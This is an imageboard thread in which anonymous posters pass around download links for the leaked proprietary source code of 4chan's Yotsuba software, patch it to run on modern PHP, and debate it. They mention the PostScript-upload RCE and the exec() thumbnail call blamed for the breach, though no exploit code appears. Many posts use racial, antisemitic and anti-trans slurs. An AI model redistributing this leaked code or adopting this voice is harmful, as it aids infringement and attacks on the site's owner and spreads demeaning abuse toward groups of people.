[ home / overboard ] [ soy / qa / mtv / dem ] [ int / pol ] [ a / asp / biz / fit / k / r9k / sude / tech / tv / v / x ] [ q / news / chive / rules / pass / bans ] [ wiki / booru / irc ]

A banner for soyjak.party

/tech/ - Soyence and Technology

Download more RAM for your Mac here
Catalog
Email
Subject
Comment
File
Password (For file deletion.)

File: feraljak yotsuba.png 📥︎ (686.97 KB, 1400x1630) ImgOps

 4613loop[Last 50 Posts][1][2][3][4][5][6][7][Quote]

>FUCK SOIJAK POSTERS
Here we talk about the source code leak of 4chan's proprietary software Yotsuba and try to "fix" it in order to make a proper open-source version of 4chan's (sh!tty) software, for example by fixing bugs such as the colored border on GIF thumbnails and making it work on modern, traditional server setups.
<REDDIT SPACE
Get the source code here:
https://files.catbox.moe/d56ws8.7z

 4614[Quote]

>>4613 (OP)
hello, i am a techGOD interested in contributing to this o algo
i got the older leak from 2010 working last year (the one where only yotsuba.php was leaked)

 4615[Quote]

>>4613 (OP)
I am not doing the work of 4chan devs for free

 4616[Quote]

>>4613 (OP)
Only reason to use this source code is to find further exploits in it.

It's like finding a house infested with termites that's barely holding on and wanting to 'renovate it' by painting over it.

 4617[Quote]

>>4613 (OP)
The code is so awful you may as well start from scratch. Maybe use Go o algo

 4618[Quote]

do we have the file(s) related to the index/homepage, or was that left out?

 4619[Quote]

File: (source) a8z45n.7z.txt 📥︎ (694 KB)

File: (guide) 0bin_x5NTTg0 .txt 📥︎ (2.6 KB)

File: schema.sql.txt 📥︎ (26.62 KB)

>>4613 (OP)
mirror it retard, heres the important files

 4620[Quote]

i will probably be posting a download to my working fix of the older 4chan leak as well later

 4621[Quote]

I bet the source code has embedded 'p

 4622[Quote]

I would be more likely to use a 4chan alternative if it were just like 4chan

 4623[Quote]

I've been combing through the source for about an hour… Good fucking luck getting it running… Its a miracle it worked at all…

 4624[Quote]

File: Itsoger.png 📥︎ (35.7 KB, 600x800) ImgOps

>>4619
>PHP 5.6
Holy fuck, they have a lot of work to do. RIP cuckchan.

 4625[Quote]

>>4624
exactly

 4626[Quote]

Did moot code this?

 4627[Quote]

>PHP
>From 12 years ago or more
Just start again at this point

 4628[Quote]

>>4626
most of the main imageboard code was from some random jap in the early 2000s and then forked by moot

 4629[Quote]

>>4626
originally forked from some japanese guy then translated and modified by moot

 4630[Quote]

>>4626
I really hope the git folder gets uploaded. It would be interesting to see exactly who is behind this dumpster fire.

 4631[Quote]

>>4630
tsmt op was a pussy for not leaking EVERYTHING but userdata

 4632[Quote]

>>4626
It was originally written by some jap in 1999 and extended by many people over the years

 4633[Quote]

>>4630
that as well as the "www" folder

 4634[Quote]

/g/ codeGOD (4cuck refugee) here, i wouldn't mind helping fix this up but it's in really bad condition

 4635[Quote]

>>4633
what is in the www folder that isn't in the leak we have. I was under the impression that the leak we have generated the content that was in the www folder.

 4636[Quote]

>>4632
4chan's code itself being a fork of "futallaby"
we probably could look into that for a bit of help with yotsuba
i used futallaby as reference when fixing up the 2010 leak

 4637[Quote]

>>4635
configs, twister_captcha.php

 4638[Quote]

>>4637
as well as presumably the home/news/rules/faq-related pages

 4639[Quote]

>>4638
yea static assets and pages

 4640[Quote]

>>4639
I imagine you could just scrape those from an archive of the site though right?

 4641[Quote]

>>4640
well ofc

 4642[Quote]

i have gotten imgboard.php and yotsuba_config.php working on PHP 8.4, in the meantime i'm trying to find out the proper way to set the SQL credentials as hardcoding them is a big no-no

 4643[Quote]

honestly i feel like we can ditch a good chunk of the files
a lot of them are things such as static html lists of all the boards and stuff
would be simpler for us to define that once

 4644[Quote]

>>4642
The fucking credentials are hardcoded?

 4645[Quote]

>>4642
Woah! Wasn't expecting that. Good fucking job!

 4646[Quote]

>>4642
can you not use environment variables?

 4647[Quote]

>source code wont download
over

 4648[Quote]


 4649[Quote]

should i send my fix of the 2010 leak from last year?
its nothing too big (it's really just yotsuba.php and some config stuff) but it could be a bit helpful

 4650[Quote]

>>4649
If anything I'd be interested to see it.

 4651[Quote]

>>4649
no one cares, redditor

 4652[Quote]

ok i found how, you set the SQL credentials on a blanked-out PHP file, config/config_db.php

 4653[Quote]

>>4652
I feel like we're gonna be writing half a new website just getting configs up to the standards of other imageboards, the wordfilters are hardcoded, the db configs are hardcoded, it's so fucking bad

 4654[Quote]

>>4650
https://files.catbox.moe/txpiie.rar (very incomplete but it could be somewhat helpful)

>>4653
trvke

 4655[Quote]

>>4615
I hope you guys fix the vulnerabilities and improve it and 4chan actually uses it

 4656[Quote]

>>4655
the jannies hate us so much that they wouldnt use a fix made from here even if it made the site invincible

 4657[Quote]

https://files.catbox.moe/yypkoa.txt

Git log got posted. Looks pretty useless but hopefully the git folder gets posted next.

 4658[Quote]

>>4656
knowing hiro he'd probably use a fix from here and have the jannies claim it's original o algo

 4659[Quote]

>>4657
the spamming will continue until the folder is released

 4660[Quote]

try and add features from here like polls and multi-image posting

 4661[Quote]

if the .git folder was released it should contain some good insights about the database schema and allow us to reconstruct the full source as well

 4662[Quote]

>>4661
Considering he posted the gitlog, I wonder why he's holding back the folder. Maybe he's too retarded to zip it up.

 4663[Quote]

>>4660
we could call this fork visuba

 4664[Quote]

why the fuck are y'all trying to fix this garbage code that originated in the nineties? the only way this site is coming back and not getting instantly pwned again is if they raze the server clean and go to a frontend/backend system that's more modern.

no modern doesn't have to be web 2.0/web 3.0 tons of bullraisin cancer but it has to be software that isn't of atrocious quality to begin with

 4665[Quote]

we could call it yotsoyba

 4666[Quote]

>>4665
we should have a poll
we need some sort of place to organize everything and post updates doebeit

 4667[Quote]


>>4666
Lets spin up an instance of Yotsuba to talk about developing Yotsuba.

 4668[Quote]

>>4664
I agree, and if that were the goal we would just fork something like JSchan and add more 4cuck features to it

 4669[Quote]

>>4664
>"modern" code
>runs like absolute ass when getting more than ~5 posters

 4670[Quote]

>>4664
>>4668
>>4669
i should note that despite this code being utter raisin it does appear to be incredibly efficient, so nudevs should take some notes

 4671[Quote]

>>4667
geg

>>4670
trvke
theres some slight "good" to this

 4672[Quote]

>>4670
You can't deal with more than a million posts a day if your source code is utter fucking raisin. This src holds a certain value and I hope it's used to improve what we have available (besides JSchan, I hate using this crap).

 4673[Quote]

>>4669
tsmt considering how laggy the sharty is

 4674[Quote]

File: config_db.txt 📥︎ (151 B)

File: db.txt 📥︎ (7.98 KB)

File: imgboard.txt 📥︎ (279.43 KB)

File: yotsuba_config.txt 📥︎ (3.59 KB)

i have it working up to "This board doesn't exist!" on PHP 8.4, here are the fixed files, change the extension to .php
imgboard and yotsuba_config go in root
db goes in lib
config_db goes in config
i am writing installation instructions and will make setup.php

 4675[Quote]

>>4613 (OP)
Please do it'd be neat
besides helping get 4chan back up I think the many altchans that would inevitably spawn from OpenYotsuba's code would be a great way to decentralize things

 4676[Quote]

>>4675
tsmt, also get vichan upto 4cuck's features standards

 4677[Quote]

>>4676
Good thinking

 4678[Quote]

>strip_fake_capcodes
QUOOOOOOOOOOOOOOOOOOOOTE ADD THIS TO THE SHARTY NOOOOOW

 4679[Quote]

>>4676
vichan is so incredibly slow in comparison so the first thing would probably be to figure out how yotsuba is so fast

 4680[Quote]

>>4674
try creating a board out of one thats already hardcoded in several places (e.g. /b/ or any other 4chan board)

>>4675
tsmt

 4681[Quote]

>get_jpeg_dimensions
LMAO WTF? they are parsing the jpeg in postfilter to get the image size manually

 4682[Quote]

>>4674
gem
i do have a web server but i don't have experience with PHP

 4683[Quote]

so why IS yotsuba so much faster? how bad can the vichan code really be?

 4684[Quote]

>22,000 commits
>codebase looks like absolute RAISIN
LOL WHAT

 4685[Quote]

This shiet is fucking fried I won't even bother. For real.

 4686[Quote]

>>4683
thats the thing
vichan code is very organized compared to the mess that is yotsuba

 4687[Quote]

You fags say it's raisin but it ran better than any altchan I've come across and made sense to navigate.

Why the fuck does vichan not flip reply hovering. Why does it hyphenate and squish hovering replies against the window.
Why does it feel like I'm reloading a page just to click on a reply.

Why can't altchans integrate the features in 4chanx into its source code.

 4688[Quote]

>>4686
is this proof that bad code is actually le good?

 4689[Quote]

viruse do not clicke

 4690[Quote]

>>4688
security-wise no
vichan's issue is optimization o algo

 4691[Quote]

>>4688
spaghetti code is usually extremely optimized but suffers in other aspects like readability, maintainability, and security

 4692[Quote]

>>4690
i just realized that the yotsuba code is still proprietary so they can go after altchans if they think that code from this leak got merged into other board software

 4693[Quote]

>>4692
correct me if im wrong but didnt vichan originate from an old proprietary fork of yotsuba? (4chon.net o algo)

 4694[Quote]

>>4691
I don't see a license file, where are you drawing this realization from

 4695[Quote]

>>4693
nevermind it doesn't really matter since the weak hosters run away when the irl children being raped spam happens and the people who don't care about breaking laws just keep re-hosting it on other providers

 4696[Quote]

>>4694
years of experience working with spaghetti code

 4697[Quote]

>>4696
I meant to you the other anon

 4698[Quote]

>>4613 (OP)
>we
fuck this site

 4699[Quote]

i have it generating broken HTML code

 4700[Quote]

>>4697
because having no license means that your code is automatically proprietary. you need to explicitly give permission to it being FOSS

 4701[Quote]

>litterally 0 major updates to the code since moot put the fries in the bag
KEEEEEEEEEEEEEEK

 4702[Quote]

>>4701
if it ain't broke, don't fix it

 4703[Quote]

could 4chan just switch to vichan for the backend then? i guess it would have to remove some features?

 4704[Quote]

>>4703
no it would be a laggy mess if 4chans traffic was ran through that

 4705[Quote]

Might as well use AI to code a whole new imageboard.

 4706[Quote]

File: ClipboardImage.png 📥︎ (25.73 KB, 490x516) ImgOps

im trying to port phash to java for exparimentation, what the heck is
>dct_t = array_map(null, …dct);
>ret = [ dct, dct_t ];
supposed to do? im stumped and the ai isnt clear about that fragment ether

 4707[Quote]

>>4706
might just be a leftover code fragment that was commented out instead of deleted in case the coder might need it, then he forgot to remove it later.
But I dont know php anyway, I dont understand why it does all that stuff when nothing is assigned to `ret`, it looks like the function would do nothing and return null every time

 4708[Quote]

>Updating index…
>Updating index…
>Updating index…
THIS IS NOT A DRILL I GOT IT WORKING

 4709[Quote]

Best thread on the site

 4710[Quote]

there are many things i like about vichan and many things i like about 4chan
hopefully once we get vanilla yotsuba running we can make a fusion of the two

 4711[Quote]

>>4702
Problem is it was broke and gookmoot don't know how to fix it.

 4712[Quote]

yall better have an altchan online running yotsuba when i wake up

 4713[Quote]

>>4702
having vulnerabilities will eventually break it

 4714[Quote]

>>4713
incredible observation

 4715[Quote]

>>4636
I came across this updated version of it, maybe it is helpful to the coders here:

https://github.com/OtakuMegane/FutallabyCodefix

 4716[Quote]

man DCT hashes are tiny, might want to use PDQ ones like here if i want to do anything serious with filtering images
>1 - glasses open_mouth soyjak stubble template variant_classic_soyjak.png
<eb94b04b946bcc87

 4717[Quote]

Real fucking talk here
Any way to get things decentralized? Heard that word was the hot raisin years prior

 4718[Quote]

>>4717
yes but it would be dead since that kind of stuff usually requires a higher technical skill so it would just be a bunch of schizos and trannies on the network

 4719[Quote]

File: 1744605568302m.png 📥︎ (55.25 KB, 1094x2043) ImgOps

To all you fags here: If there's one feature you must add to "OpenYotsuba", that would be a Media Pending Approval system. It's one of the best features that the sharty has that kept this raisinty ass site alive for so long. It'll also help altchans deal with P spam.

 4720[Quote]

>>4703
It's literally their only option if they want to comeback online in 15 days.
>>4704
Those issues are largely overblown and more a cause of altchans using weak hardware.

 4721[Quote]

File: 1735491938351233.jpg 📥︎ (120.14 KB, 600x500) ImgOps

>>4719
It's the gayest feature on here, you telling me I need to wait for personal janny approval for everything?

 4722[Quote]

>>4721
yes, we cant have nice things because niggers cant stop posting illegal raisin

 4723[Quote]

You know what we need? sitewide webms/MP4 with SOUND.

 4724[Quote]

>>4720
Yeah an alternate base is needed in order to not get pwned again. I'll take anything tbh, don't care about speed atm
Also I doubt anyone on the current janny team has deep experience with coding. I expect a purge-and-replace. Hopefully the new hotpockets will at least be somewhat competent. People are vastly underestimating the site's soft powers.

 4725[Quote]

>>4721
I've rarely had to wait more than 5 minutes tops, but thats cause my IP is associated with a lot of posts on this site I think. Still better than a fucking 900 SECOND timer for newposters geggg

 4726[Quote]

>>4720
>Those issues are largely overblown and more a cause of altchans using weak hardware.
a weak server does not explain my tab freezing when i open a big thread

 4727[Quote]

>>4725
Didn't the leak confirm that it was for phoneposters anyways

 4728[Quote]

>>4720
>more a cause of altchans using weak hardware.
Again, not like 4cuck was using a good server. Last updated in 2016 so even if it was the best CPU from 2016 it's still quite underpowered.

 4729[Quote]

File: 1744698941592m-0.png 📥︎ (768.48 KB, 968x1024) ImgOps

>>4721
It's like you ignored the latter half of my sentence, retard.
Nevermind, this project is going to be literal nigger aids since you have the naivety of an actual teenager. I hope you realize that a MPA system prevents retarded bad actors from spamming CP.

 4730[Quote]

>>4721
If you keep posting, jannies recognize the IP and the MPA won't apply to you.

 4731[Quote]

File: 1733067254916165.png 📥︎ (4.29 KB, 407x416) ImgOps

>>4615
This. If they couldn't update it in 9 years, why should users here be the good goy that fixes it for them? RapeApe needs to learn to do something for those thousands a month he gets paid.

 4732[Quote]

File: faux sigma.png 📥︎ (197.06 KB, 667x592) ImgOps

>>4729
>instantly demoralized by one post

 4733[Quote]

>>4730
Oh neat

 4734[Quote]

File: 1744736465970s.png 📥︎ (1.42 MB, 1238x1413) ImgOps

>>4732
>Demoralized
No, you're just a retard, and I'd rather see someone else work on it.
I can tell you've never been outside of your tranime website if you can't even recognize why giving such a system to smaller altchans would be beneficial in the long run.

 4735[Quote]

i'm retarded and dont want to spend hours looking at php code i dont understand, how cooked is 4chan? i heard only rapeape and his goons know anything about the backend on the staff

 4736[Quote]

File: output-onlinegiftools.gif 📥︎ (6.08 MB, 720x720) ImgOps

let it die, it will not be missed

 4737[Quote]

File: 1706406705833046.jpg 📥︎ (43.51 KB, 475x567) ImgOps

>>4735
its not nearly the deal these titillating trannoids are making it out to be
theyre gonna patch holes and move on, the "exploit" wasnt even a real exploit it was some JIDF shill on the mod team cracked a debug admin roles credentials

 4738[Quote]

>>4737
you're clearly more retarded than me so i assume anything you say is false

 4739[Quote]

>>4735
According to some, the source code is leaked. So the next pwn will be even more devastating if they go back up with the same setup. They still have the database, so it's a matter of migrating.
the unpaid staff will probably get replaced if hiro actually goes to work

 4740[Quote]

>>4739
source code hasnt actually leaked btw

 4741[Quote]

>>4739
i got the source code right here nigga, i know everything is super fucking old and it might be full of exploits, if they have to go over everything and possibly rewrite most of time it's gonna be down for like a month or more since i expect rapeape and his team to be retarded and lazy and not used to actually working

 4742[Quote]

>>4741
I'm guessing the (you) was meant for >>4740

 4743[Quote]

>>4741
They need to set up a kanban pronto, and unironically hire some anons from this thread. I'd do it for 1BTC

 4744[Quote]

>>4741
"I got the source code bro"
"dude trust me"
that's the same raisin that leaked in the 2010s leak, it looks old because it is old
its psyop crap the fat retarded kike who instigated this whole thing scraped from the wayback machine, there is no 2025 source code leak its the exact same raisin from last time over a decade ago

 4745[Quote]

>>4743
unironically if it is as bad as i think it might be they are probably recruiting /g/ anons to help them for free or at least they should, source is leaked already anyway

 4746[Quote]

>>4745
goddamn you are fucking retarded lol
cant believe i share a board with you subhumans

 4747[Quote]

Again the "hacker" didnt actually hack into anything, he got into a debug admin role and used that to plumb the team domain to find hiros trip info to post on the chans under hiros trip
It literally just boils down to someone leaving a bad password, there is no access to the source code through the interfaces the "hacker" had access to. Its not even really hacking, just guessing a password.
Embarrassing show

 4748[Quote]


 4749[Quote]

is JIDF already falseflagging here? so quickly?

 4750[Quote]

File: 1736018037695z.gif 📥︎ (71.47 KB, 384x400) ImgOps

>Again the "hacker" didnt actually hack into anything, he got into a debug admin role and used that to plumb the team domain to find hiros trip info to post on the chans under hiros trip
>It literally just boils down to someone leaving a bad password, there is no access to the source code through the interfaces the "hacker" had access to. Its not even really hacking, just guessing a password.
>Embarrassing show

 4751[Quote]

File: ClipboardImage.png 📥︎ (92.84 KB, 1093x684) ImgOps

For anyone who's doing drive-bys, yes, the source code was leaked. Here's a snippet of their filters.
You're telling me that they had filters for AI stuff back then?
TLDR: expect things to be down for a while

 4752[Quote]

>>4744
>that's the same raisin that leaked in the 2010s leak, it looks old because it is old
What explains the onions basedjak filters being there? are they that old?

 4754[Quote]

>>4736
You are aware this site will become unusable due to the 'grants

 4755[Quote]

i will probably need to get admin.php working next since you need admin to regenerate the 'log

 4756[Quote]

wow the 'grants are making this board unusually fast

 4757[Quote]

-

 4758[Quote]

.

 4759[Quote]

File: openyotsuba admin.png 📥︎ (22.52 KB, 833x245) ImgOps

kek, it's kino!

 4760[Quote]

>>4759
o sweet

 4761[Quote]


 4762[Quote]


 4763[Quote]

Would anyone have interest in a chan that is less like sharty and more like 4chan EXCEPT keeping the hating and banning pedos but also banning fags and furries and troons, and which innately combats spam and newfaggotry by simply only allowing a certain number of posts per day per IP?
And your amount per day can go up if you make normal posts as you use it longer.
Basically it would be for chuds

 4764[Quote]

>>4763
It's an idea, but I see issues.

That requires saving all the data from every poster. And IP hoppers can avoid that limit. If they can dodge a ban they can dodge a limit. If the limit is anything less than 20 a day than you're just hurting reg users.

 4765[Quote]

>>4763
No, IPs are cheap for the spammers and mods will always be fags.

 4766[Quote]

>>4721
You can apply for a pass once you've posted for a bit. It gts ride of post approval and it's free. You can use a no KYC email (but not disposable.)

 4767[Quote]

>>4737
>the "exploit" wasnt even a real exploit it was some JIDF shill on the mod team cracked a debug admin roles credentials
That isn't right. The exploit worked by uploading PostScript to the boards that accept PDF, like /sci/, then using that RCE for privilege escalation.

 4769[Quote]

>>4763
>keeping the hating and banning pedos but also banning fags and furries and troons
you can't have both

 4864[Quote]

>>4759
how? what'd you do? can you upload your fixed up version of the sources (or just the diffs is fine)

 4871[Quote]

>>4613 (OP)
I'm not downloading that raisin nigga + not contributing to 'cuck for free. Upload the repo to a read-only source-hut and I might clone it and poke with it a little, I want to try and dockerize it and run it locally and pentest around

 4877[Quote]

>>4613 (OP)
why does it run on openbsd and php in 2025?
why hasn't gook moot update the codebase ? or at least organize it why?

10 thousand in imageboard.php isn't just lazy. it's crazy.

 4878[Quote]

>>4871
>dockerize
good morning sirs

 4883[Quote]

>>4670
cuz
1. its decades old php code, it doesn't have the bloat other nu-languages inherently bring over i.e. cacascript
2. gook moot spent a fuck ton in servers (the sharty hacker didn't specify which kind of dell poweredges but for the amount of traffic and storage cuckchan needs you can already see how this balloons into much more expensive server racks https://www.dell.com/en-us/shop/dell-poweredge-servers/sr/enterprise-products/servers

 4884[Quote]

>>4878
DO NOT REDEEM THE LOCAL SETUP SAAR

 4885[Quote]

File: image-8.png 📥︎ (400.38 KB, 1600x874) ImgOps

>>4759
No luck here still. Somebody suggested that I fix up a bad <? tag in lib/util.php but that didn't do the trick

 4891[Quote]

>>4885
is your webserver configured to run php?

also try putting short_open_tag=On in your php.ini

 4929[Quote]

>>4891
short_open_tag is set in /etc/php/5.6/cli/php.ini, and nginx is configured to use php5.6-sock for the subdomain. Dunno if I screwed up the symlinks or whatever. You have a reference I can follow? Preferably in a *nix environment.

 4937[Quote]


 4938[Quote]

>>4937
go advertise somewhere else nigger

 4944[Quote]

>>4885
i am changing all the <?s to <?php so it works on stock PHP 8

 4947[Quote]

keep up the good work devGODS

 4955[Quote]

>>4763
my ISP changes my IP on like a weekly basis. I don't even need to evade bans.

 4959[Quote]

Oh great, now I get white screens and no errors.

 4965[Quote]

>>4959
There may still be errors/warnings that you're just not seeing because you probably didn't enable error messages in your php.ini. You can run this to enable that (assuming your path is the same):
f=/etc/php5/apache2/php.ini && sed -i -e 's/display_errors = .*/display_errors = On/' -e 's/display_startup_errors = .*/display_startup_errors = On/' -e 's/error_reporting = .*/error_reporting = E_ALL/' "$f" && service apache2 restart

 4967[Quote]

File: setup.txt 📥︎ (1.69 KB)

here's a script i made that creates the boardlist and admin user tables, once again change the extension from .txt to .php

 4968[Quote]

I wonder how many glowniggers where also posting in 4chan?
I bet /pol/ was 99% feds fedposting to other feds, that bord really was really at contaiment, until they got to /k/ using the ukrain war(no one gives a fuck about ukrainians) and spreed everywhere

 4971[Quote]

>>4968
they already found about 50% of the posts on /pol/ were from israel ips.
it was kiked and glowniggered to raisin, but that was evident for the last decade.

 4975[Quote]

File: ClipboardImage.png 📥︎ (120.28 KB, 930x485) ImgOps

>>>4759
aha, i made it to where you are
nothing like manually editing array access syntax
i'll let you know if i make it past here
(i'm a machine programming (x86_64/EVM) and smart contract/ETH/EVM schizo; i want an imageboard with as few 'raisiny' word filters and no 900 second flat timer retardation as possible, and ideally no fucking troon jannies leaving up blacked faggot raisin all over the place)

 4977[Quote]

why does virustotal say there's a backdoor in imageboard.php? HEUR:Backdoor/PHP.WebShell.c or algo

 4979[Quote]

>>4977
is it only one antivirus that detects it? which one

 4980[Quote]


 4982[Quote]

>>4980
in the case of 1 literal who antivirus flagging on virustotal, it most likely IS a false flag

 4985[Quote]

File: ClipboardImage.png 📥︎ (15.5 KB, 466x190) ImgOps

>>4979
windows 11 blocks it (the entire 7z download), but for a very aggressive reason that's usually a false flag.
it'll block files compiled with csc.exe for the same reason (built-in C# compiler for windows, made by windows, on every windows machine → C# 'hello world'? determined a trojan)

 4986[Quote]

File: ClipboardImage.png 📥︎ (8.07 KB, 454x520) ImgOps

>>4985
dude omg i once got that falseflag with my downloaded minecraft mods

 4989[Quote]

>>4975
Yeah, here I replaced the short tags recursively, and now I get empty pages with no errors logged in error.log or the page output.

 4991[Quote]

>>4971
Huh. Is that why the post count was removed? Anons were getting wise to what was going on

 4995[Quote]

>>4989
not sure what you mean by replacing short tags, although i'm doing this like an insane retard
i know less than nothing about PHP, i'm using PHP8.2, and apache2's errors when i tried accessing the site after blindly making it accessible were first about curly brace array access syntax, which i fixed manually for some of the source files (make them square braces).
then there were some permissions errors on directories, then some missing global config files (i've created these but left them blank), a missing variable ("$use_pdo"?), and now i'm setting up the database since the only error for now is the "mysql_try_connect" parameters being undefined in lib/db.php

 5002[Quote]

>>4980
It looks like it's just detecting it as having a backdoor when it sees exec used anywhere as removing all of those lines results in no detection. So it's not necessarily backdoored. Though the @exec() there for the PDF thumb conversion seems to be what S0I1337 allegedly used to pawn 4chan.

 5003[Quote]

>>4995
just fyi the old short tags (<? vs the new <php?) don't affect in how php interprets that code. But, if you're trying to run the source code in php8.2 chances are you won't be able to run it at all, because the php version 'cuck runs on is php5.6, and even upgrading one major version is already a pain in the ass and a lot of things not work properly.

 5005[Quote]

>>4967
You're doing good work, lad. Keep us updated on the instructions, I'll catch up tomorrow.

 5006[Quote]

you might not be able to run it at all*

 5020[Quote]

>>5003
>if you're trying to run the source code in php8.2 chances are you won't be able to run it at all
no derp, but that's the exact lazy boomer mindset that caused it to be a trash heap in the first place
right now Claude and i are updating all the mysql query functions, but we were able to get a database connection already

 5023[Quote]

>sharteens doing more work than 4cacas have in a decade in the span of a few hours
LMAO

 5026[Quote]

>>4759
any progress?

 5030[Quote]

>>5023
>and they have us doing it
<FOR FREE

 5036[Quote]

>>5020
I meant you won't be able to run it as is without any modifications, the code needs to be updated to reflect on those major version changes

 5037[Quote]

The codebase of 4chan doesn't seem all that valuable tbh. The concept of an imageboard is simple, and having an extremely complex and bloated system is antithetical to the purpose of what an imageboard should be.

I've been programming my own imageboard that's just a SPA (single-page application). It only has a catalog and threads that are all loaded at the same time. The "database" just uses json files for each thread. It's horribly inefficient but what's great about it is that it's only 850 LOC total so far instead of tens of thousands and it's extremely easy to deploy. And it retains basically all of the most important functions of 4chan.

Simpler imgboards makes it easier for techlets to get into running their own stuff which I think would help the internet overall. It would be less about the technical skill and more about the dedication, art, and culture–which is what made places like soyjak party succeed.

It would be cool if more political creators online ran their own boards. I would love if people like Sam Hyde or Nick Fuentes had their own boards that they ran. Even if only they could create threads and anons could only comment in them it would still be awesome.

/blogpost

 5042[Quote]

>>5037
i know that
(we got it to start reading tables from the database)
>>5037
any old codebase is extremely valuable since newer code bases become exponentially more raisinbloated as time goes on
i guarantee anyone who manages to get this thing barely crawling and working will find that it does so using a shockingly low amount of resources (so far, all of my testing on a 1GB cloud midget machine is working fine. you can't even use the rusttranny compiler for a hello world application with that memory)

 5045[Quote]

why is php faster than javascript?

 5049[Quote]

>>5042
>any old codebase is extremely valuable since newer code bases become exponentially more raisinbloated as time goes on
??? This makes zero sense.

Efficiency is important, I'll grant that, but imgboards shouldn't require a lot of resources to run anyways. It's just text and images. I'll try to make my board simpler by having the json database files only loaded when a user clicks on a thread in the catalog. That should be good enough.

 5058[Quote]

>>5049
alright, so put yourself into one of the groups being formed and we'll see how it goes.
so far we have:
1. trying to faithfully recreate the source code with the correct versions (other anons/chuds here)
2. trying to get it online with a modern distro, modern mysql and PHP versions (me)
3. "the codebase of 4chan doesn't seem all that value desu" → presumably meaning you want to make it from scratch (or would like people to)

 5059[Quote]

Now that you mention groups, shouldn't we get together to an IRC or something to get the code workin? It's a bit easier to talk that way. Of course, first getting the backend working on 5.6 and then slowly move it over to 8.2
>>5058

 5061[Quote]

File: ClipboardImage.png 📥︎ (2.03 MB, 2490x1000) ImgOps

>>5059
>shouldn't we get together to an IRC or something to get the code workin?

 5062[Quote]

>>5049
>makes zero sense
Having the source code for 4chan allows for more accurate and potentially more efficient replication of features you want to copy. It's also good for learning how and how not to do things when making your own imageboard.
>json database
I've always hated NoSQL. All the projects I've seen using it were horrendously slow and have a super bloated data structure that is difficult to scale. I prefer relational SQL databases like Postgres instead. Just using single json files for each thread like you're talking about can be a really bad idea. Every time a new post is made if the write process is interrupted while overwriting the json file, the updated file will be incomplete and unparsable and any posts it wasn't able to finish writing will be lost. Also, the more posts the thread has, the longer it will take to overwrite the thread json file.

 5064[Quote]

>>5059
i meant a more abstract form of group
i have no idea who is doing what sort of work or how far they've gotten, and i'm as usually (contently) working entirely on my own
if you want to "group up" with others, why not use the exact form of communication we're successfully using right now? (post whatever you have here)
>i will not be first getting the backend working on 5.6, then promptly ripping it apart to get it to 8.2, why wouldn't i just start ripping it apart now?

 5066[Quote]

>>5064
this. real-time group chats are a waste of time, literally. people will plan and debate the scope of a project instead of just doing their own thing and contributing… like im doing rn.

 5080[Quote]

i have the login working

 5095[Quote]

File: Screenshot_20250417_111820.png 📥︎ (287.99 KB, 1918x957) ImgOps

File: Screenshot_20250417_111840.png 📥︎ (298.45 KB, 1920x958) ImgOps

File: Screenshot_20250417_074341.png 📥︎ (297.77 KB, 1920x951) ImgOps

File: Screenshot_20250417_074207.png 📥︎ (264.3 KB, 1920x951) ImgOps

>>5080
kino

 5099[Quote]

>>5095
>already p spam

 5116[Quote]

>PHP 5
LMAO I’m not touching that trash. Rust or bust.

 5129[Quote]

>>5095
Where's this board
also
>already obsessed irl children being raped spammers
damn 4cucks

 5135[Quote]

>>5095
could you add maybe streaming to it? like streaming movies and tv?
I thought that would be cool one day.

 5136[Quote]

>>5095
To explain further,
I once had this idea if you combined a streaming site but with 4chan and the player in the thread moved to a side window as you scroll. It could be used to watch things with people in real time. along with a global chat with 4chan.
Is that possible or would it blow up the server?

 5139[Quote]

File: 4chan.gif 📥︎ (166.63 KB, 680x453) ImgOps

OK but why? 4chan software is garbage compared to basically any other alternative. The only reason 4chan remains 4chan is because of the domain name.

 5143[Quote]

>>>5049
>alright, so put yourself into one of the groups being formed and we'll see how it goes.
>so far we have:
>1. trying to faithfully recreate the source code with the correct versions (other anons/chuds here)
>2. trying to get it online with a modern distro, modern mysql and PHP versions (me)
>3. "the codebase of 4chan doesn't seem all that value desu" → presumably meaning you want to make it from scratch (or would like people to)
Really I just think that a different tech stack would be overall better.
Go/Java/whatever backed + JS frontend, special noJS edition for schizos.
JS ate PHP's lunch, evolve or die.

 5144[Quote]

>>4750
>baseless assumptions techbro award

 5146[Quote]

>>5139
If hiro updates the site at a better or close to the alts level, 4chan will come back stronger.

 5147[Quote]

>>5143
>>5139
maybe people just want to copy the interface or have hobbyist reasons? don't kill the fun

 5148[Quote]

>>5143
>switch from tech that works to tech that runs like absolute dogshit

 5153[Quote]

>>5139
>>5143
what seems odd here is that you are perfectly allowed to think or believe these things and work on it or not work on it
and we are allowed to think or believe other things and work on it or not work on it
but if i tell you at least i am working on it
this upsets you, or you seem to want to correct me in what i'm doing
perhaps i do not give a grape, nay, not even a raisin

 5155[Quote]

>>5147
>>5148
>>5153
Don't lump me in with >>5139
I don't care if people want to recreate yotsuba in modern PHP.

 5160[Quote]

File: photo_2022-03-18_10-28-15.jpg 📥︎ (53.07 KB, 640x640) ImgOps

re-writing that old PHP code in nodejs, go, python (worst choice) or something is better then trying to "fix" that raisin

 5173[Quote]

>>5146
Hiro will never in a million years use 4chan software with outside contributions. We're talking about the guy who couldn't be bothered to apply security updates.
>>5153
There are tons of IB projects needing contributions to advance the state of the art and you autists are dicking around with dead software. It's like "retrocomputing", you're allowed to like it and I'm allowed to call you retarded.

 5175[Quote]

>>5139
4chan doesn't crash when i open a big thread
sharty crashes when i open a big thread
according to this scientific study verified by snopes, 4chan is BETTER

 5178[Quote]

>>5175
werks on my machine

 5179[Quote]


 5181[Quote]

new 4chan should use distributed tech
ipfs storage
gundb bavkend

 5186[Quote]

>>5175
trvke

 5187[Quote]

just my 2c
yeah modern 4chan sucked, esp the moderation, content, etc
but no one ever complained about the actual tech it used

you can build it as solidly as you want
but how tf are we going to get people to come

 5191[Quote]

>>5187
I ain't gonna lie, this whole venture might only result in spawning an opensource 4chan without the userbase (not actually that fruitless when you think about it).
A lot of the users are already solidifying and regrouping in 8chan. In due time, 4chan will go back online too.

 5193[Quote]

>>>5187 (You)
Bro not ONE opensource 4chan, more like a dozen with 3 users each.
The thing is I don't want to go back to 4chan either.
Have you seen the leak? It confirms its more or less controlled opposition.

 5196[Quote]

>>5191
>A lot of the users are already solidifying and regrouping in 8chan
And yet I'm here like a retard (before you ask, no I'm not contributing I just find it all fascinating)

 5198[Quote]

